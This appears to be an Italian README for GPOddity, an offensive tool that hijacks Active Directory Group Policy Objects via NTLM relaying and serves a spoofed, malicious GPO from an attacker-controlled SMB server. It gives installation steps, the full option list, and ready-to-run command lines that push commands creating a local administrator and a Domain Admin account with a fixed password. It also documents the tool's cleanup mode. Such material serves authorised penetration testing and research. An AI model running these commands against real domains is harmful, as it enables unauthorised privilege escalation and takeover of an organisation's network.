
Automatizza lo sfruttamento dei GPO di Active Directory tramite relay NTLM, consentendo la generazione di template GPO malevoli, lo spoofing della posizione e l'esecuzione di comandi per escalation di privilegi e movimento laterale.
Il progetto GPOddity, volto ad automatizzare i vettori di attacco GPO attraverso l'NTLM relaying (e altro).
Per maggiori dettagli riguardo l'attacco e una dimostrazione su come utilizzare lo strumento, consultare l'articolo associato disponibile all'indirizzo: https://www.synacktiv.com/publications/gpoddity-exploiting-active-directory-gpos-through-ntlm-relaying-and-more
È possibile installare GPOddity tramite pipx con il seguente comando:
$ python3 -m pipx install git+https://github.com/synacktiv/GPOddity
In alternativa, è possibile installare GPOddity manualmente clonando il repository e installando le dipendenze:
$ git clone https://github.com/synacktiv/GPOddity
$ python3 -m pip install -r requirements.txt
$ python3 gpoddity.py --help
Usage: gpoddity.py [OPTIONS]
╭─ Options ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮
│ --help Show this message and exit. │
╰──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯
╭─ General options ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮
│ * --domain TEXT The target domain [default: None] [required] │
│ * --gpo-id TEXT The GPO object GUID without enclosing brackets (for instance, '1328149E-EF37-4E07-AC9E-E35920AD2F59') [default: None] [required] │
│ * --username TEXT The username of the user having write permissions on the GPO AD object. This may be a machine account (for instance, 'SRV01$') [default: None] [required] │
│ --password TEXT The password of the user having write permissions on the GPO AD object [default: None] │
│ --hash TEXT The NTLM hash of the user having write permissions on the GPO AD object, with the format 'LM:NT' [default: None] │
│ --dc-ip TEXT [Optional] The IP of the domain controller if the domain name can not be resolved. [default: None] │
│ --ldaps [Optional] Use LDAPS on port 636 instead of LDAP │
│ --verbose [Optional] Enable verbose output │
│ --just-clean [Optional] Only perform cleaning action from the values specified in the file of the --clean-file flag. May be useful to clean up in case of incomplete │
│ exploitation or ungraceful exit │
│ --clean-file TEXT [Optional] The file from the 'cleaning/' folder containing the values to restore when using --just-clean flag. Relative path from GPOddity install folder, or │
│ absolute path │
│ [default: None] │
╰──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯
╭─ Malicious Group Policy Template generation options ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮
│ --command TEXT The command that should be executed through the malicious GPO [default: None] │
│ --powershell [Optional] Use powershell instead of cmd for command execution │
│ --gpo-type [user|computer] [Optional] The type of GPO that we are targeting. Can either be 'user' or 'computer' [default: computer] │
╰──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯
╭─ Group Policy Template location spoofing options ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮
│ --rogue-smbserver-ip TEXT The IP address or DNS name of the server that will host the spoofed malicious GPO. If using the GPOddity smb server, this should be the IP address of │
│ the current host on the internal network (for instance, 192.168.58.101) │
│ [default: None] │
│ --rogue-smbserver-share TEXT The name of the share that will serve the spoofed malicious GPO (for instance, 'synacktiv'). If you are running the embedded SMB server, do NOT provide │
│ names including 'SYSVOL' or 'NETLOGON' (protected by UNC path hardening by default) │
│ [default: None] │
╰──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯
╭─ SMB server options ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮
│ --machine-name TEXT [Optional] The name of a valid domain machine account, that will be used to perform Netlogon authentication (for instance, SRV01$). If │
│ omitted, will use the user specified with the --username option, and assume that it is a valid machine account │
│ [default: None] │
│ --machine-pass TEXT [Optional] The password of the machine account if specified with --machine-name [default: None] │
│ --machine-hash TEXT [Optional] The NTLM hash of the machine account if specified with --machine-name, with the format 'LM:NT' [default: None] │
│ --comment TEXT [Optional] Share's comment to display when asked for shares [default: None] │
│ --interface TEXT [Optional] The interface on which the GPOddity smb server should listen [default: 0.0.0.0] │
│ --port TEXT [Optional] The port on which the GPOddity smb server should listen [default: 445] │
│ --smb-mode [embedded|forwarded|none] [Optional] 'Embedded' SMB server will host an SMB server on this machine. 'Forwarded' will forward SMB traffic to a fake Domain Controller │
│ (requires a machine account associated with a DNS record pointing to the attacker machine. Generated GPT should be uploaded on the fake │
│ DC). 'None' will not host any SMB server (generated GPT should be uploaded on a writable SMB share in the domain) │
│ [default: embedded] │
│ --empty-gpo [Optional] By default, GPOddity will clone the target GPO and add a malicious immediate task. If this flag is specified, an empty GPO will │
│ be used instead of a clone of the legitimate one (can be useful for some edge cases in which immediate tasks will not integrate well with │
│ existing GPOs) │
│ --attacker-ip TEXT [Optional] The IP of the attacker machine in the internal network (required for smb-mode 'forwarded') │
│ --forwarded-ip TEXT [Optional] The IP of the fake DC to which SMB traffic will be forwarded (required for smb-mode 'forwarded') │
╰──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯
Di seguito sono riportati alcuni comandi di esempio tratti dall'articolo collegato sopra.
Sfruttare un GPO Computer per aggiungere un amministratore locale. La modalità SMB è 'embedded': GPOddity ospiterà il GPT sul proprio server SMB integrato.
$ python3 gpoddity.py --gpo-id '46993522-7D77-4B59-9B77-F82082DE9D81' --domain 'corp.com' --username 'GPODDITY$' \
--password '[...]' --command 'net user synacktiv_gpoddity Password123! /add && net localgroup administrators synacktiv_gpoddity /add' \
--rogue-smbserver-ip '192.168.58.101' --rogue-smbserver-share 'synacktiv'
Sfruttare un GPO User per aggiungere un amministratore locale. La modalità SMB è 'none': GPOddity creerà il GPT malevolo, e sarà necessario caricarlo su una condivisione di dominio scrivibile.
$ python3 gpoddity.py --gpo-id '7B36419B-B566-46FA-A7B7-58CA9030A604' --gpo-type 'user' --smb-mode 'none' --domain 'corp.com' --username 'GPODDITY$' \
--password '[...]' --command 'net user user_gpo Password123! /add /domain && net group "Domain Admins" user_gpo /ADD /DOMAIN' \
--rogue-smbserver-ip '192.168.58.102' --rogue-smbserver-share 'synacktiv'
Sfruttare un GPO User per aggiungere un amministratore locale. La modalità SMB è 'forwarded': sarà necessario aggiungere un record DNS che punti alla macchina di GPOddity, associato a un account macchina. Sarà necessario fornire l'indirizzo IP di un falso DC la cui password sia sincronizzata con l'account macchina, e caricare il GPT malevolo su detto falso DC. Per maggiori informazioni su questa modalità, consultare il mio talk a Black Alps 2024 (disponibile a breve).
$ python3 gpoddity.py --gpo-id 'B12968FB-EEEE-404A-A583-101A2E249BF9' --domain 'corp.com' --username 'lowpriv' \
--password '[...]' --command 'whoami > C:\poc_forwarded.txt' --gpo-type 'user' --rogue-smbserver-ip 'gpoddity.corp.com' \
--rogue-smbserver-share 'synacktiv' --smb-mode 'forwarded' --attacker-ip '192.168.123.16' --forwarded-ip '192.168.125.245'
Uno dei vantaggi dell'utilizzo di GPOddity risiede nella possibilità di sfruttare i GPO in modo sicuro, senza alterare i file GPT legittimi, minimizzando così i rischi di interruzione in ambienti di produzione. Tuttavia, GPOddity deve comunque modificare alcuni attributi dei file Group Policy Container per spoofare temporaneamente la posizione del GPT. Di conseguenza, per garantire che l'ambiente di produzione rimanga funzionante, è necessario ripristinare queste modifiche dopo lo sfruttamento.
Per impostazione predefinita, come spiegato nell'articolo, GPOddity lo farà per te ripristinando qualsiasi alterazione effettuata sul GPC al termine dello sfruttamento, quando l'utente interrompe il programma con CTRL+C. Di conseguenza, in condizioni normali, non è necessario fare nulla per garantire che tutto sia pulito.
Tuttavia, se per qualche motivo non si riesce a uscire da GPOddity in modo corretto tramite CTRL+C (processo terminato, perdita di connessione di rete, ecc.), è possibile avviare GPOddity con il flag '--just-clean' per eseguire azioni di pulizia in modo indipendente.
Questa funzionalità funziona nel modo seguente. Ogni volta che GPOddity viene eseguito, lo stato iniziale del GPO viene salvato in un file nel percorso cleaning/[GPO ID]/[timestamp].txt. È quindi possibile ripristinare tutti i valori contenuti in questo file di salvataggio tramite il flag '--just-clean'. Ad esempio, supponiamo di voler ripristinare tutti gli attributi del GPO con ID '46993522-7D77-4B59-9B77-F82082DE9D81' ai valori precedenti l'esecuzione di GPOddity il 14 ottobre 2023 alle 08:08:44. Si può eseguire il seguente comando:
$ python3 gpoddity.py --just-clean --domain 'corp.com' --gpo-id '46993522-7D77-4B59-9B77-F82082DE9D81' --username 'GPODDITY$' --password '[...]' --clean-file cleaning/46993522-7D77-4B59-9B77-F82082DE9D81/2023_10_14-08_08_44.txt
